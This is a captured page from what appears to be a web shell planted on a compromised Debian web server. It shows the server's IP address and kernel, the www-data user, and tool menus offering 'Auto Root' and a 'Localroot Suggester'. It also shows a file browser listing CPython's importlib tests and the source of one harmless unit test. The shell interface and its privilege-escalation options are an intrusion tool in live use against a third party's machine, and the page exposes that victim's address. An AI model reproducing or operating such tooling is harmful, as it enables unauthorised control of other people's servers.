Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
Python-3.10.14 /
Lib /
test /
test_importlib /
Delete
Unzip
Name
Size
Permission
Date
Action
builtin
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
data
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
data01
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
data02
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
data03
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
extension
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
frozen
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
import_
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
namespace_pkgs
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
namespacedata01
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
partial
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
source
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
zipdata01
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
zipdata02
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
__init__.py
142
B
-rw-r--r--
2024-03-19 22:46
__main__.py
58
B
-rw-r--r--
2024-03-19 22:46
abc.py
2.22
KB
-rw-r--r--
2024-03-19 22:46
fixtures.py
7.28
KB
-rw-r--r--
2024-03-19 22:46
stubs.py
233
B
-rw-r--r--
2024-03-19 22:46
test_abc.py
34.19
KB
-rw-r--r--
2024-03-19 22:46
test_api.py
18.59
KB
-rw-r--r--
2024-03-19 22:46
test_files.py
1011
B
-rw-r--r--
2024-03-19 22:46
test_lazy.py
4.81
KB
-rw-r--r--
2024-03-19 22:46
test_locks.py
4.41
KB
-rw-r--r--
2024-03-19 22:46
test_main.py
8.75
KB
-rw-r--r--
2024-03-19 22:46
test_metadata_api.py
11.41
KB
-rw-r--r--
2024-03-19 22:46
test_namespace_pkgs.py
12.11
KB
-rw-r--r--
2024-03-19 22:46
test_open.py
2.31
KB
-rw-r--r--
2024-03-19 22:46
test_path.py
1.88
KB
-rw-r--r--
2024-03-19 22:46
test_pkg_import.py
2.69
KB
-rw-r--r--
2024-03-19 22:46
test_read.py
1.94
KB
-rw-r--r--
2024-03-19 22:46
test_reader.py
4.18
KB
-rw-r--r--
2024-03-19 22:46
test_resource.py
8.18
KB
-rw-r--r--
2024-03-19 22:46
test_spec.py
30.88
KB
-rw-r--r--
2024-03-19 22:46
test_threaded_import.py
9.49
KB
-rw-r--r--
2024-03-19 22:46
test_util.py
34.67
KB
-rw-r--r--
2024-03-19 22:46
test_windows.py
7.26
KB
-rw-r--r--
2024-03-19 22:46
test_zip.py
2.61
KB
-rw-r--r--
2024-03-19 22:46
threaded_import_hangers.py
1.45
KB
-rw-r--r--
2024-03-19 22:46
update-zips.py
1.38
KB
-rwxr-xr-x
2024-03-19 22:46
util.py
18.22
KB
-rw-r--r--
2024-03-19 22:46
Save
Rename
import os import sys import shutil import string import random import tempfile import unittest from importlib.util import cache_from_source from test.support.os_helper import create_empty_file class TestImport(unittest.TestCase): def __init__(self, *args, **kw): self.package_name = 'PACKAGE_' while self.package_name in sys.modules: self.package_name += random.choice(string.ascii_letters) self.module_name = self.package_name + '.foo' unittest.TestCase.__init__(self, *args, **kw) def remove_modules(self): for module_name in (self.package_name, self.module_name): if module_name in sys.modules: del sys.modules[module_name] def setUp(self): self.test_dir = tempfile.mkdtemp() sys.path.append(self.test_dir) self.package_dir = os.path.join(self.test_dir, self.package_name) os.mkdir(self.package_dir) create_empty_file(os.path.join(self.package_dir, '__init__.py')) self.module_path = os.path.join(self.package_dir, 'foo.py') def tearDown(self): shutil.rmtree(self.test_dir) self.assertNotEqual(sys.path.count(self.test_dir), 0) sys.path.remove(self.test_dir) self.remove_modules() def rewrite_file(self, contents): compiled_path = cache_from_source(self.module_path) if os.path.exists(compiled_path): os.remove(compiled_path) with open(self.module_path, 'w', encoding='utf-8') as f: f.write(contents) def test_package_import__semantics(self): # Generate a couple of broken modules to try importing. # ...try loading the module when there's a SyntaxError self.rewrite_file('for') try: __import__(self.module_name) except SyntaxError: pass else: raise RuntimeError('Failed to induce SyntaxError') # self.fail()? self.assertNotIn(self.module_name, sys.modules) self.assertFalse(hasattr(sys.modules[self.package_name], 'foo')) # ...make up a variable name that isn't bound in __builtins__ var = 'a' while var in dir(__builtins__): var += random.choice(string.ascii_letters) # ...make a module that just contains that self.rewrite_file(var) try: __import__(self.module_name) except NameError: pass else: raise RuntimeError('Failed to induce NameError.') # ...now change the module so that the NameError doesn't # happen self.rewrite_file('%s = 1' % var) module = __import__(self.module_name).foo self.assertEqual(getattr(module, var), 1) if __name__ == "__main__": unittest.main()